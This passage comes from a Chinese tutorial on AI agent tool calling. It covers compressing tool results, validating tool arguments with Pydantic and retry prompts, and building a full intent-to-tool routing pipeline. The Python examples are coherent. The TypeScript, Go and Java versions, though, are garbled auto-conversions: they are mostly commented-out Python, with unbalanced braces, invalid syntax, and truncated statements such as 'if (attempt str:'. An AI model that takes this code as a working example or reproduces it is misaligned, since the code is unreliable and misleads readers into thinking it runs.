private static final ObjectMapper mapper = new ObjectMapper();
private static final Map> KEY_FIELDS_MAP = new HashMap<>();
private static final Map MAX_TOKENS_MAP = new HashMap<>();
static {
KEY_FIELDS_MAP.put("get_weather", Arrays.asList("temperature", "description", "wind_speed"));
KEY_FIELDS_MAP.put("web_search", Arrays.asList("title", "snippet", "url"));
KEY_FIELDS_MAP.put("run_python", Arrays.asList("stdout"));
MAX_TOKENS_MAP.put("get_weather", 200);
MAX_TOKENS_MAP.put("web_search", 300);
MAX_TOKENS_MAP.put("run_python", 400);
}
public Map compress(String toolName, Map result) {
Map compressed = new LinkedHashMap<>();
List keyFields = KEY_FIELDS_MAP.getOrDefault(toolName, Collections.emptyList());
int maxTokens = MAX_TOKENS_MAP.getOrDefault(toolName, 500);
if (!keyFields.isEmpty()) {
for (String field : keyFields) {
if (result.containsKey(field)) {
compressed.put(field, truncate(result.get(field), maxTokens));
}
}
} else {
compressed.putAll(truncateDict(result, maxTokens));
}
int originalTokens = estimateTokens(result);
int compressedTokens = estimateTokens(compressed);
Map meta = new LinkedHashMap<>();
meta.put("tool", toolName);
meta.put("original_tokens", originalTokens);
meta.put("compressed_tokens", compressedTokens);
meta.put("compression_ratio", Math.round((double) compressedTokens / Math.max(originalTokens, 1) * 100.0) / 100.0);
compressed.put("_meta", meta);
return compressed;
}
public String archiveToVectorStore(String toolName, Map result, VectorStore vectorStore, String refId) {
Map data = new LinkedHashMap<>();
data.put("tool", toolName);
data.put("result", result);
data.put("timestamp", java.time.Instant.now().toString());
vectorStore.store(refId, data);
return String.format("[%s结果已归档 | ref=%s | 如需详情可检索]", toolName, refId);
}
private String truncate(Object text, int maxTokens) {
int maxChars = maxTokens * 2;
String str = String.valueOf(text);
return str.length() > maxChars ? str.substring(0, maxChars) + "...[已截断]" : str;
}
private Map truncateDict(Map d, int maxTokens) {
Map result = new LinkedHashMap<>();
int remaining = maxTokens * 2;
for (Map.Entry entry : d.entrySet()) {
String entryStr = entry.getKey() + "=" + entry.getValue();
if (entryStr.length() > remaining) {
result.put(entry.getKey(), String.valueOf(entry.getValue()).substring(0, remaining) + "...[截断]");
break;
}
result.put(entry.getKey(), entry.getValue());
remaining -= entryStr.length();
}
return result;
}
private int estimateTokens(Object obj) {
try { return mapper.writeValueAsString(obj).length() / 2; }
catch (Exception e) { return 0; }
}
}
好的 Agent 不是把所有信息都塞进 Context,而是像人类一样——记要点,存细节。要点放 Context(短期记忆),细节放向量库(长期记忆)。
10.13 Structured Output 与工具调用
Function Calling 天然就是 Structured Output——LLM 输出 JSON 格式的函数调用。但实际场景中,我们还需要对输出做更严格的约束:参数类型校验、必填检查、格式验证。
Pydantic 验证工具参数
LLM 生成的参数可能出错:city 传了数字、date 格式不对、缺少必填参数。用 Pydantic 可以在执行前拦截这些错误:
from pydantic import BaseModel, Field, ValidationError
from typing import Optional
from datetime import datetime
# ===== 工具参数的 Pydantic 模型 =====
class WeatherParams(BaseModel):
city: str = Field(..., description="城市名称", min_length=1, max_length=50)
date: Optional[str] = Field(
None,
description="日期,格式 YYYY-MM-DD",
pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
)
class PythonExecParams(BaseModel):
code: str = Field(..., description="Python代码", min_length=1)
timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
class SearchParams(BaseModel):
query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
# ===== 验证 + 错误处理 + 重提示 =====
class StructuredToolCaller:
"""结构化工具调用:验证 → 执行 → 重试"""
PARAM_MODELS = {
"get_weather": WeatherParams,
"run_python": PythonExecParams,
"web_search": SearchParams,
}
MAX_RETRIES = 2
def call_tool(self, tool_name: str, raw_arguments: str,
llm_client, tool_executor) -> dict:
"""完整的结构化调用流程"""
for attempt in range(self.MAX_RETRIES + 1):
# ① 尝试解析和验证参数
try:
args_dict = json.loads(raw_arguments)
validated = self.PARAM_MODELStool_name
# 验证通过 → 执行
result = tool_executor(tool_name, validated.model_dump())
return {"success": True, "result": result}
except json.JSONDecodeError as e:
error_msg = f"参数JSON格式错误: {e}"
except ValidationError as e:
# ② Pydantic 校验失败 → 收集具体错误
error_msg = self._format_validation_error(e)
# ③ 校验失败 → 重提示 LLM 修正参数
if attempt str:
"""将 Pydantic 错误格式化为 LLM 可理解的提示"""
errors = []
for err in e.errors():
field = ".".join(str(loc) for loc in err["loc"])
errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors)
def _get_constraints(self, tool_name: str) -> str:
"""返回工具的参数约束描述(给 LLM 的修正指引)"""
model = self.PARAM_MODELS[tool_name]
constraints = []
for name, field in model.model_fields.items():
desc = field.description or ""
if field.is_required():
desc += " [必填]"
constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints)
# ===== 使用示例 =====
caller = StructuredToolCaller()
# LLM 生成了错误参数: city 传了空字符串,date 格式不对
raw_args = '{"city": "", "date": "2026/07/02"}'
result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
# 第1次: Pydantic 校验失败
# ⚠️ 参数校验失败(第1次):
# 字段 'city': String should have at least 1 character (当前值: )
# 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
# → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
# 第2次: 验证通过 → 执行成功
import {BaseModel, Field, ValidationError} from 'pydantic';
// TypeScript has built-in types, no import needed for Optional
import {datetime} from 'datetime';
// ===== 工具参数的 Pydantic 模型 =====
class WeatherParams {
// city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// date: Optional[str] = Field(
// None,
// description = "日期,格式 YYYY-MM-DD",
// pattern = r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// )
class PythonExecParams {
// code: str = Field(..., description="Python代码", min_length=1)
// timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
class SearchParams {
// query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
class StructuredToolCaller {
/** docstring */
static readonly PARAM_MODELS = {;
// "get_weather": WeatherParams,
// "run_python": PythonExecParams,
// "web_search": SearchParams,
// }
static readonly MAX_RETRIES = 2;
// def call_tool(self, tool_name: str, raw_arguments: str,
// llm_client, tool_executor) -> dict:
/** docstring */
for (const attempt of range(self.MAX_RETRIES + 1)) {
// ① 尝试解析和验证参数
try {
// args_dict = json.loads(raw_arguments)
// validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result};
// except json.JSONDecodeError as e:
// error_msg = f"参数JSON格式错误: {e}"
} catch (ValidationError) {
// ② Pydantic 校验失败 → 收集具体错误
// error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if (attempt str:
/** docstring */
// errors = []
for (const err of e.errors()) {
// field = ".".join(str(loc) for loc in err["loc"])
// errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors);
// def _get_constraints(self, tool_name: str) -> str:
/** docstring */
// model = self.PARAM_MODELS[tool_name]
// constraints = []
for (const [name, field] of model.model_fields.items()) {
// desc = field.description or ""
if (field.is_required()) {
// desc += " [必填]"
// constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints);
// ===== 使用示例 =====
// caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串,date 格式不对
// raw_args = '{"city": "", "date": "2026/07/02"}'
// result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败(第1次):
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// from pydantic import BaseModel, Field, ValidationError
// from typing import Optional
// from datetime import datetime
// ===== 工具参数的 Pydantic 模型 =====
// WeatherParams - CLI Agent class
type WeatherParams struct {
// Python: city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// Python: date: Optional[str] = Field(
// Python: None,
// Python: description="日期,格式 YYYY-MM-DD",
// Python: pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// Python: )
// PythonExecParams - CLI Agent class
type PythonExecParams struct {
// Python: code: str = Field(..., description="Python代码", min_length=1)
// Python: timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
// SearchParams - CLI Agent class
type SearchParams struct {
// Python: query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// Python: max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
// StructuredToolCaller - CLI Agent class
type StructuredToolCaller struct {
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "run_python": PythonExecParams,
// Python: "web_search": SearchParams,
// Python: }
// Python: MAX_RETRIES = 2
// Python: def call_tool(self, tool_name: str, raw_arguments: str,
// Python: llm_client, tool_executor) -> dict:
for _, attempt := range range(self.MAX_RETRIES + 1) {
// ① 尝试解析和验证参数
// try block
// Python: args_dict = json.loads(raw_arguments)
// Python: validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// Python: result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result}
// except block
// Python: error_msg = f"参数JSON格式错误: {e}"
// except block
// ② Pydantic 校验失败 → 收集具体错误
// Python: error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if attempt str:
// Python: errors = []
for _, err := range e.errors() {
// Python: field = ".".join(str(loc) for loc in err["loc"])
// Python: errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors)
// Python: def _get_constraints(self, tool_name: str) -> str:
// Python: model = self.PARAM_MODELS[tool_name]
// Python: constraints = []
// Python: for name, field in model.model_fields.items():
// Python: desc = field.description or ""
if field.is_required() {
// Python: desc += " [必填]"
// Python: constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints)
// ===== 使用示例 =====
// Python: caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串,date 格式不对
// Python: raw_args = '{"city": "", "date": "2026/07/02"}'
// Python: result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败(第1次):
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// from pydantic import BaseModel, Field, ValidationError
// from typing import Optional
// from datetime import datetime
// ===== 工具参数的 Pydantic 模型 =====
public class WeatherParams {
// Python: city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// Python: date: Optional[str] = Field(
// Python: None,
// Python: description="日期,格式 YYYY-MM-DD",
// Python: pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// Python: )
public class PythonExecParams {
// Python: code: str = Field(..., description="Python代码", min_length=1)
// Python: timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
public class SearchParams {
// Python: query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// Python: max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
public class StructuredToolCaller {
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "run_python": PythonExecParams,
// Python: "web_search": SearchParams,
// Python: }
// Python: MAX_RETRIES = 2
// Python: def call_tool(self, tool_name: str, raw_arguments: str,
// Python: llm_client, tool_executor) -> dict:
for (var attempt : range(self.MAX_RETRIES + 1)) {
// ① 尝试解析和验证参数
// Python: try:
// Python: args_dict = json.loads(raw_arguments)
// Python: validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// Python: result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result};
// Python: except json.JSONDecodeError as e:
// Python: error_msg = f"参数JSON格式错误: {e}"
// Python: except ValidationError as e:
// ② Pydantic 校验失败 → 收集具体错误
// Python: error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if (attempt str:
// Python: errors = []
for (var err : e.errors()) {
// Python: field = ".".join(str(loc) for loc in err["loc"])
// Python: errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors);
// Python: def _get_constraints(self, tool_name: str) -> str:
// Python: model = self.PARAM_MODELS[tool_name]
// Python: constraints = []
// Python: for name, field in model.model_fields.items():
// Python: desc = field.description or ""
if (field.is_required()) {
// Python: desc += " [必填]"
// Python: constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints);
// ===== 使用示例 =====
// Python: caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串,date 格式不对
// Python: raw_args = '{"city": "", "date": "2026/07/02"}'
// Python: result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败(第1次):
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
}
输出格式约束技巧
🔧 强制结构化输出的5种技巧
① JSON Schema 约束
Function Calling 自带的 JSON Schema 描述参数类型。最基础也是最有效的约束。
② Pydantic 双重验证
LLM 输出 → JSON Schema 格式校验 → Pydantic 语义校验(正则、范围、必填)。两层过滤,几乎杜绝格式错误。
③ 参数枚举约束
对有限选项的参数使用 enum。如单位参数只允许 ["metric", "imperial"],LLM 不会输出奇怪值。
④ 错误重提示循环
校验失败时不直接报错,而是把具体错误信息反馈给 LLM,让它自行修正。最多重试 2~3 次,成功率极高。
⑤ 降级兜底
重试次数用尽后,用默认值填充缺失参数或跳过可选参数。不让一个格式错误导致整个 Agent 流程中断。
10.14 实战:构建智能工具路由系统
把 9.10~9.13 的概念串起来,构建一个完整的意图识别 → 工具检索 → 工具调用 → 结果压缩 → 结构化验证全链路 Agent。
"""
SmartToolRouter: 意图识别 → 工具检索 → 参数验证 → 执行 → 结果压缩 全链路
"""
import json
import uuid
from typing import List, Dict, Any, Optional
from enum import Enum
from pydantic import BaseModel, ValidationError
# ===== 9.10 意图识别 =====
class IntentType(Enum):
INFO_QUERY = "信息获取"
CODE_EXEC = "代码执行"
FILE_OP = "文件操作"
COMM_INTERACT = "通信交互"
class Intent(BaseModel):
type: IntentType
text: str
target: str
priority: int = 0
depends_on: Optional[List[str]] = None
class IntentClassifier:
"""意图分类器 — 使用 LLM 做意图识别"""
INTENT_PROMPT = """分析以下用户请求的意图,返回JSON:
请求: "{query}"
请识别:
1. 意图类型: 信息获取/代码执行/文件操作/通信交互
2. 具体目标: 用户想要什么
3. 是否包含多个意图(复合请求),如有则拆解
返回格式:
{"intents": [{"type": "类型", "text": "原文片段", "target": "目标", "priority": 优先级数字}]}
如果意图间有依赖关系,在depends_on中指明前置意图的target。"""
def classify(self, query: str, llm_client) -> List[Intent]:
prompt = self.INTENT_PROMPT.format(query=query)
response = llm_client.chat(prompt)
parsed = json.loads(response)
intents = [Intent(**i) for i in parsed["intents"]]
return intents
# ===== 9.11 Tool RAG =====
class ToolRAG:
"""向量检索工具描述"""
def __init__(self, vector_store, all_tools: List[Dict]):
self.vector_store = vector_store
self.all_tools = all_tools
# 注册所有工具描述到向量库
for tool in all_tools:
text = self._tool_to_text(tool)
self.vector_store.upsert(tool["function"]["name"], text)
def _tool_to_text(self, tool: Dict) -> str:
f = tool["function"]
text = f"{f['name']}: {f['description']}"
for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
"""根据意图检索最相关的工具"""
results = self.vector_store.search(query, top_k=top_k)
tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names]
# ===== 9.13 结构化验证 =====
# 定义参数模型(按工具)
class WeatherParams(BaseModel):
city: str
date: Optional[str] = None
class SearchParams(BaseModel):
query: str
max_results: Optional[int] = 5
class PythonParams(BaseModel):
code: str
timeout: Optional[int] = 30
PARAM_MODELS = {
"get_weather": WeatherParams,
"web_search": SearchParams,
"run_python": PythonParams,
}
# ===== 9.12 结果压缩 =====
class ResultCompressor:
"""工具结果压缩"""
KEY_FIELDS = {
"get_weather": ["temperature", "description", "wind_speed"],
"web_search": ["title", "snippet", "url"],
"run_python": ["stdout"],
}
MAX_CHARS = 500
def compress(self, tool_name: str, result: Any) -> Dict:
keys = self.KEY_FIELDS.get(tool_name, [])
compressed = {}
if isinstance(result, dict) and keys:
for k in keys:
if k in result:
val = str(result[k])
compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
else:
compressed["summary"] = str(result)[:self.MAX_CHARS]
compressed["_meta"] = {
"tool": tool_name,
"ref_id": str(uuid.uuid4()) # 用于向量库归档引用
}
return compressed
# ===== 全链路路由 =====
class SmartToolRouter:
"""智能工具路由系统 — 全链路"""
def __init__(self, llm_client, vector_store, all_tools, tool_executor):
self.llm = llm_client
self.intent_classifier = IntentClassifier()
self.tool_rag = ToolRAG(vector_store, all_tools)
self.result_compressor = ResultCompressor()
self.tool_executor = tool_executor
self.max_retries = 2
def process(self, user_query: str) -> str:
"""完整处理流程"""
# ① 意图识别
intents = self.intent_classifier.classify(user_query, self.llm)
print(f"[意图识别] 检测到 {len(intents)} 个意图:")
for i, intent in enumerate(intents):
print(f" {i+1}. {intent.type.value} → {intent.target}")
# ② 按意图检索候选工具
all_relevant_tools = []
for intent in intents:
tools = self.tool_rag.retrieve(intent.target, top_k=3)
all_relevant_tools.extend(tools)
# 去重
seen = set()
unique_tools = []
for t in all_relevant_tools:
name = t["function"]["name"]
if name not in seen:
seen.add(name)
unique_tools.append(t)
print(f"[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}")
# ③ 让 LLM 在候选工具中选择 + 生成参数
# 只传候选工具描述(JIT策略),而非全部工具
tool_call_results = []
for intent in intents:
# 按意图过滤最相关工具
intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
# LLM 选择工具和参数
llm_response = self.llm.call_with_tools(
messages=[{"role": "user", "content": intent.text}],
tools=intent_tools
)
if not llm_response.tool_calls:
# LLM 认为不需要工具 → 直接回答
tool_call_results.append({
"intent": intent.type.value,
"direct_answer": llm_response.content
})
continue
# ④ 结构化验证 + 执行 + 重试
for tool_call in llm_response.tool_calls:
result = self._execute_with_validation(
tool_call.function.name,
tool_call.function.arguments
)
# ⑤ 结果压缩
compressed = self.result_compressor.compress(
tool_call.function.name, result
)
tool_call_results.append({
"intent": intent.type.value,
"tool": tool_call.function.name,
"result": compressed
})
# ⑥ LLM 整合所有结果,生成自然语言回答
final_prompt = f"""用户原始请求: {user_query}
以下是为您收集的工具调用结果:
{json.dumps(tool_call_results, ensure_ascii=False)}
请整合这些结果,给用户一个清晰有用的回答。"""
final_answer = self.llm.chat(final_prompt)
return final_answer
def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
"""参数验证 → 执行 → 重试"""
param_model = PARAM_MODELS.get(tool_name)
for attempt in range(self.max_retries + 1):
try:
args_dict = json.loads(raw_args)
if param_model:
validated = param_model(**args_dict)
args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict)
except (json.JSONDecodeError, ValidationError) as e:
if attempt List[Intent]:
// prompt = self.INTENT_PROMPT.format(query=query)
// response = llm_client.chat(prompt)
// parsed = json.loads(response)
// intents = [Intent(**i) for i in parsed["intents"]]
return intents;
// ===== 9.11 Tool RAG =====
class ToolRAG {
/** docstring */
constructor(vector_store, all_tools: Dict[]) {
// self.vector_store = vector_store
// self.all_tools = all_tools
// 注册所有工具描述到向量库
for (const tool of all_tools) {
// text = self._tool_to_text(tool)
// self.vector_store.upsert(tool["function"]["name"], text)
// def _tool_to_text(self, tool: Dict) -> str:
// f = tool["function"]
// text = f"{f['name']}: {f['description']}"
for (const [pname, pinfo] of f.get("parameters", {}).get("properties", {}).items()) {
// text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text;
// def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
/** docstring */
// results = self.vector_store.search(query, top_k=top_k)
// tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names];
// ===== 9.13 结构化验证 =====
// 定义参数模型(按工具)
class WeatherParams {
// city: str
// date: Optional[str] = None
class SearchParams {
// query: str
// max_results: Optional[int] = 5
class PythonParams {
// code: str
// timeout: Optional[int] = 30
static readonly PARAM_MODELS = {;
// "get_weather": WeatherParams,
// "web_search": SearchParams,
// "run_python": PythonParams,
// }
// ===== 9.12 结果压缩 =====
class ResultCompressor {
/** docstring */
static readonly KEY_FIELDS = {;
// "get_weather": ["temperature", "description", "wind_speed"],
// "web_search": ["title", "snippet", "url"],
// "run_python": ["stdout"],
// }
static readonly MAX_CHARS = 500;
// def compress(self, tool_name: str, result: Any) -> Dict:
// keys = self.KEY_FIELDS.get(tool_name, [])
// compressed = {}
if (isinstance(result, dict) && keys) {
for (const k of keys) {
if (k in result) {
// val = str(result[k])
// compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// compressed["summary"] = str(result)[:self.MAX_CHARS]
// compressed["_meta"] = {
// "tool": tool_name,
// "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// }
return compressed;
// ===== 全链路路由 =====
class SmartToolRouter {
/** docstring */
constructor(llm_client, vector_store, all_tools, tool_executor) {
// self.llm = llm_client
// self.intent_classifier = IntentClassifier()
// self.tool_rag = ToolRAG(vector_store, all_tools)
// self.result_compressor = ResultCompressor()
// self.tool_executor = tool_executor
// self.max_retries = 2
// def process(self, user_query: str) -> str:
/** docstring */
// ① 意图识别
// intents = self.intent_classifier.classify(user_query, self.llm)
console.log(`[意图识别] 检测到 {len(intents)} 个意图:`);
for (const [i, intent] of enumerate(intents)) {
console.log(` {i+1}. {intent.type.value} → {intent.target}`);
// ② 按意图检索候选工具
// all_relevant_tools = []
for (const intent of intents) {
// tools = self.tool_rag.retrieve(intent.target, top_k=3)
// all_relevant_tools.extend(tools)
// 去重
// seen = set()
// unique_tools = []
for (const t of all_relevant_tools) {
// name = t["function"]["name"]
if (name !in seen) {
// seen.add(name)
// unique_tools.append(t)
console.log(`[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}`);
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述(JIT策略),而非全部工具
// tool_call_results = []
for (const intent of intents) {
// 按意图过滤最相关工具
// intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// llm_response = self.llm.call_with_tools(
// messages = [{"role": "user", "content": intent.text}],
// tools = intent_tools
// )
if (!llm_response.tool_calls) {
// LLM 认为不需要工具 → 直接回答
// tool_call_results.append({
// "intent": intent.type.value,
// "direct_answer": llm_response.content
// })
continue;
// ④ 结构化验证 + 执行 + 重试
for (const tool_call of llm_response.tool_calls) {
// result = self._execute_with_validation(
// tool_call.function.name,
// tool_call.function.arguments
// )
// ⑤ 结果压缩
// compressed = self.result_compressor.compress(
// tool_call.function.name, result
// )
// tool_call_results.append({
// "intent": intent.type.value,
// "tool": tool_call.function.name,
// "result": compressed
// })
// ⑥ LLM 整合所有结果,生成自然语言回答
// final_prompt = f"""用户原始请求: {user_query}
// 以下是为您收集的工具调用结果:
// {json.dumps(tool_call_results, ensure_ascii=False)}
// 请整合这些结果,给用户一个清晰有用的回答。"""
// final_answer = self.llm.chat(final_prompt)
return final_answer;
// def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
/** docstring */
// param_model = PARAM_MODELS.get(tool_name)
for (const attempt of range(self.max_retries + 1)) {
try {
// args_dict = json.loads(raw_args)
if (param_model) {
// validated = param_model(**args_dict)
// args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict);
// except (json.JSONDecodeError, ValidationError) as e:
if (attempt List[Intent]:
// Python: prompt = self.INTENT_PROMPT.format(query=query)
// Python: response = llm_client.chat(prompt)
// Python: parsed = json.loads(response)
// Python: intents = [Intent(**i) for i in parsed["intents"]]
return intents
// ===== 9.11 Tool RAG =====
// ToolRAG - CLI Agent class
type ToolRAG struct {
func New__init__() *__init__ {
return &__init__{}
}
// Python: self.vector_store = vector_store
// Python: self.all_tools = all_tools
// 注册所有工具描述到向量库
for _, tool := range all_tools {
// Python: text = self._tool_to_text(tool)
// Python: self.vector_store.upsert(tool["function"]["name"], text)
// Python: def _tool_to_text(self, tool: Dict) -> str:
// Python: f = tool["function"]
// Python: text = f"{f['name']}: {f['description']}"
// Python: for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
// Python: text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
// Python: def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
// Python: results = self.vector_store.search(query, top_k=top_k)
// Python: tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names]
// ===== 9.13 结构化验证 =====
// 定义参数模型(按工具)
// WeatherParams - CLI Agent class
type WeatherParams struct {
// Python: city: str
// Python: date: Optional[str] = None
// SearchParams - CLI Agent class
type SearchParams struct {
// Python: query: str
// Python: max_results: Optional[int] = 5
// PythonParams - CLI Agent class
type PythonParams struct {
// Python: code: str
// Python: timeout: Optional[int] = 30
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "web_search": SearchParams,
// Python: "run_python": PythonParams,
// Python: }
// ===== 9.12 结果压缩 =====
// ResultCompressor - CLI Agent class
type ResultCompressor struct {
// Python: KEY_FIELDS = {
// Python: "get_weather": ["temperature", "description", "wind_speed"],
// Python: "web_search": ["title", "snippet", "url"],
// Python: "run_python": ["stdout"],
// Python: }
// Python: MAX_CHARS = 500
// Python: def compress(self, tool_name: str, result: Any) -> Dict:
// Python: keys = self.KEY_FIELDS.get(tool_name, [])
// Python: compressed = {}
if isinstance(result, dict) and keys {
for _, k := range keys {
if k in result {
// Python: val = str(result[k])
// Python: compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// Python: compressed["summary"] = str(result)[:self.MAX_CHARS]
// Python: compressed["_meta"] = {
// Python: "tool": tool_name,
// Python: "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// Python: }
return compressed
// ===== 全链路路由 =====
// SmartToolRouter - CLI Agent class
type SmartToolRouter struct {
func New__init__() *__init__ {
return &__init__{}
}
// Python: self.llm = llm_client
// Python: self.intent_classifier = IntentClassifier()
// Python: self.tool_rag = ToolRAG(vector_store, all_tools)
// Python: self.result_compressor = ResultCompressor()
// Python: self.tool_executor = tool_executor
// Python: self.max_retries = 2
// Python: def process(self, user_query: str) -> str:
// ① 意图识别
// Python: intents = self.intent_classifier.classify(user_query, self.llm)
fmt.Println(f"[意图识别] 检测到 {len(intents)} 个意图:")
// Python: for i, intent in enumerate(intents):
fmt.Println(f" {i+1}. {intent.type.value} → {intent.target}")
// ② 按意图检索候选工具
// Python: all_relevant_tools = []
for _, intent := range intents {
// Python: tools = self.tool_rag.retrieve(intent.target, top_k=3)
// Python: all_relevant_tools.extend(tools)
// 去重
// Python: seen = set()
// Python: unique_tools = []
for _, t := range all_relevant_tools {
// Python: name = t["function"]["name"]
if name not in seen {
// Python: seen.add(name)
// Python: unique_tools.append(t)
fmt.Println(f"[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}")
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述(JIT策略),而非全部工具
// Python: tool_call_results = []
for _, intent := range intents {
// 按意图过滤最相关工具
// Python: intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// Python: llm_response = self.llm.call_with_tools(
// Python: messages=[{"role": "user", "content": intent.text}],
// Python: tools=intent_tools
// Python: )
if not llm_response.tool_calls {
// LLM 认为不需要工具 → 直接回答
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "direct_answer": llm_response.content
// Python: })
continue
// ④ 结构化验证 + 执行 + 重试
for _, tool_call := range llm_response.tool_calls {
// Python: result = self._execute_with_validation(
// Python: tool_call.function.name,
// Python: tool_call.function.arguments
// Python: )
// ⑤ 结果压缩
// Python: compressed = self.result_compressor.compress(
// Python: tool_call.function.name, result
// Python: )
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "tool": tool_call.function.name,
// Python: "result": compressed
// Python: })
// ⑥ LLM 整合所有结果,生成自然语言回答
// Python: final_prompt = f"""用户原始请求: {user_query}
// Python: 以下是为您收集的工具调用结果:
// Python: {json.dumps(tool_call_results, ensure_ascii=False)}
// Python: 请整合这些结果,给用户一个清晰有用的回答。"""
// Python: final_answer = self.llm.chat(final_prompt)
return final_answer
// Python: def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
// Python: param_model = PARAM_MODELS.get(tool_name)
for _, attempt := range range(self.max_retries + 1) {
// try block
// Python: args_dict = json.loads(raw_args)
if param_model {
